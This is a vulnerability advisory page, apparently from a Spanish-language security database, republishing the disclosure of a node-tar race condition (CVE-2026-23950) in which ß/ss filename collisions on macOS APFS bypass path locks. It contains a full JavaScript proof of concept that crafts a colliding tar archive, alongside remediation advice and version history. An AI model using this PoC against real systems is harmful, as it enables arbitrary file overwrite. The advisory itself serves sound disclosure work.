Alta

Race Condition in node-tar Path Reservations via Unicode Ligature Collisions on macOS APFS

  • Publicada: 21.01.2026
  • Actualizado: 11.10.2026 10:22

TITLE: Race Condition in node-tar Path Reservations via Unicode Sharp-S (ß) Collisions on macOS APFS

AUTHOR: Tomás Illuminati

Details

A race condition vulnerability exists in node-tar (v7.5.3) this is to an incomplete handling of Unicode path collisions in the path-reservations system. On case-insensitive or normalization-insensitive filesystems (such as macOS APFS, In which it has been tested), the library fails to lock colliding paths (e.g., ß and ss), allowing them to be processed in parallel. This bypasses the library's internal concurrency safeguards and permits Symlink Poisoning attacks via race conditions. The library uses a PathReservations system to ensure that metadata checks and file operations for the same path are serialized. This prevents race conditions where one entry might clobber another concurrently.

ts
// node-tar/src/path-reservations.ts (Lines 53-62)
reserve(paths: string[], fn: Handler) {
    paths =
      isWindows ?
        ['win32 parallelization disabled']
      : paths.map(p => {
          return stripTrailingSlashes(
            join(normalizeUnicode(p)), // <- THE PROBLEM FOR MacOS FS
          ).toLowerCase()
        })

In MacOS the join(normalizeUnicode(p)), FS confuses ß with ss, but this code does not. For example:

bash
bash-3.2$ printf "CONTENT_SS\n" > collision_test_ss
bash-3.2$ ls
collision_test_ss
bash-3.2$ printf "CONTENT_ESSZETT\n" > collision_test_ß
bash-3.2$ ls -la
total 8
drwxr-xr-x   3 testuser  staff    96 Jan 19 01:25 .
drwxr-x---+ 82 testuser  staff  2624 Jan 19 01:25 ..
-rw-r--r--   1 testuser  staff    16 Jan 19 01:26 collision_test_ss
bash-3.2$

PoC

js
const tar = require('tar');
const fs = require('fs');
const path = require('path');
const { PassThrough } = require('stream');

const exploitDir = path.resolve('race_exploit_dir');
if (fs.existsSync(exploitDir)) fs.rmSync(exploitDir, { recursive: true, force: true });
fs.mkdirSync(exploitDir);

console.log('[*] Testing...');
console.log(`[*] Extraction target: ${exploitDir}`);

// Construct stream
const stream = new PassThrough();

const contentA = 'A'.repeat(1000);
const contentB = 'B'.repeat(1000);

// Key 1: "f_ss"
const header1 = new tar.Header({
    path: 'collision_ss',
    mode: 0o644,
    size: contentA.length,
});
header1.encode();

// Key 2: "f_ß"
const header2 = new tar.Header({
    path: 'collision_ß',
    mode: 0o644,
    size: contentB.length,
});
header2.encode();

// Write to stream
stream.write(header1.block);
stream.write(contentA);
stream.write(Buffer.alloc(512 - (contentA.length % 512))); // Padding

stream.write(header2.block);
stream.write(contentB);
stream.write(Buffer.alloc(512 - (contentB.length % 512))); // Padding

// End
stream.write(Buffer.alloc(1024));
stream.end();

// Extract
const extract = new tar.Unpack({
    cwd: exploitDir,
    // Ensure jobs is high enough to allow parallel processing if locks fail
    jobs: 8 
});

stream.pipe(extract);

extract.on('end', () => {
    console.log('[*] Extraction complete');

    // Check what exists
    const files = fs.readdirSync(exploitDir);
    console.log('[*] Files in exploit dir:', files);
    files.forEach(f => {
        const p = path.join(exploitDir, f);
        const stat = fs.statSync(p);
        const content = fs.readFileSync(p, 'utf8');
        console.log(`File: ${f}, Inode: ${stat.ino}, Content: ${content.substring(0, 10)}... (Length: ${content.length})`);
    });

    if (files.length === 1 || (files.length === 2 && fs.statSync(path.join(exploitDir, files[0])).ino === fs.statSync(path.join(exploitDir, files[1])).ino)) {
        console.log('\[*] GOOD');
    } else {
        console.log('[-] No collision');
    }
});

Impact

This is a Race Condition which enables Arbitrary File Overwrite. This vulnerability affects users and systems using node-tar on macOS (APFS/HFS+). Because of using NFD Unicode normalization (in which ß and ss are different), conflicting paths do not have their order properly preserved under filesystems that ignore Unicode normalization (e.g., APFS (in which ß causes an inode collision with ss)). This enables an attacker to circumvent internal parallelization locks (PathReservations) using conflicting filenames within a malicious tar archive.


Remediation

Update path-reservations.js to use a normalization form that matches the target filesystem's behavior (e.g., NFKD), followed by first toLocaleLowerCase('en') and then toLocaleUpperCase('en').

Users who cannot upgrade promptly, and who are programmatically using node-tar to extract arbitrary tarball data should filter out all SymbolicLink entries (as npm does) to defend against arbitrary file writes via this file system entry name collision issue.


Software afectado

Haz clic en una tecnología para ver todas sus vulnerabilidades.

PlataformaPaqueteVersiones vulnerablesCorregida en
Paquete de npm tar < 7.5.4 7.5.4

Referencias

Puntuación CVSS 8.8/10
Vector CVSS
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:H/A:L
Debilidad (CWE)
CWE-176, CWE-367
Plataforma
npm
Paquete
tar
Publicada
21.01.2026
Actualizado
11.10.2026 10:22

Fuentes y licencias

OSV / GitHub Advisory Database - GHSA-r6q2-hw4h-h46w - CC BY 4.0

Historial de vulnerabilidades: tar

Todas las vulnerabilidades publicadas de este paquete (Paquete de npm), de la más reciente a la más antigua. Muestra si es un fallo aislado o un paquete que hay que vigilar.

Todas (21) en el archivo
Entradas en total
21
Primera → última
10.2017 07.2026
Sin corrección
0
Explotada en ataques
0

Distribución por gravedad

  • Crítica 1
  • Alta 15
  • Media 5

Divulgaciones por año

  1. 2017: 1
  2. 2018: 0
  3. 2019: 1
  4. 2020: 0
  5. 2021: 5
  6. 2022: 0
  7. 2023: 0
  8. 2024: 1
  9. 2025: 1
  10. 2026: 12
Gravedad:
  1. Crítica · 7.5 CVE-2026-59873 < 7.5.19 7.5.19
  2. Race Condition in node-tar Path Reservations via Unicode Ligature Collisions on macOS APFS esta entrada
    Alta · 8.8 CVE-2026-23950 < 7.5.4 7.5.4
  3. Alta · 8.2 CVE-2021-37701 >= 3.0.0, < 4.4.16, >= 5.0.0, < 5.0.8, >= 6.0.0, < 6.1.7 4.4.16, 5.0.8, 6.1.7
  4. Alta · 8.2 CVE-2021-37712 >= 3.0.0, < 4.4.18, >= 5.0.0, < 5.0.10, >= 6.0.0, < 6.1.9 4.4.18, 5.0.10, 6.1.9
  5. Alta · 8.2 CVE-2021-37713 < 4.4.18, >= 5.0.0, < 5.0.10, >= 6.0.0, < 6.1.9 4.4.18, 5.0.10, 6.1.9
  6. Alta · 8.2 CVE-2021-32804 < 3.2.2, >= 4.0.0, < 4.4.14, >= 5.0.0, < 5.0.6, >= 6.0.0, < 6.1.1 3.2.2, 4.4.14, 5.0.6, 6.1.1
  7. Alta · 8.2 CVE-2021-32803 >= 3.0.0, < 3.2.3, >= 4.0.0, < 4.4.15, >= 5.0.0, < 5.0.7, >= 6.0.0, < 6.1.2 3.2.3, 4.4.15, 5.0.7, 6.1.2
  8. Alta · 7.5 CVE-2018-20834 >= 3.0.0, < 4.4.2, < 2.2.2 4.4.2, 2.2.2
  9. Alta · 7.5 CVE-2015-8860 < 2.0.0 2.0.0

Identifica las vulnerabilidades de tu aplicación

Con la integración de DockRay y el inventario de software activado, DockRay compara las versiones notificadas de los componentes con las vulnerabilidades conocidas y avisa de las coincidencias confirmadas. La cobertura depende de la tecnología compatible y de los avisos disponibles.

Conectar tu aplicación
Newsletter DockRay

La seguridad de tus aplicaciones en tu correo

Vulnerabilidades importantes, recomendaciones concretas y consejos prácticos para tus aplicaciones. Elige tus tecnologías y sigue lo que importa para tu proyecto.

  • Un resumen diario de nuevas vulnerabilidades, también las críticas.
  • Avisos sobre actualizaciones importantes.
  • Consejos prácticos sobre seguridad y monitorización de aplicaciones.

Déjalo vacío para recibir avisos de todas las tecnologías.

Suscripción gratuita. Date de baja con un clic en cualquier correo.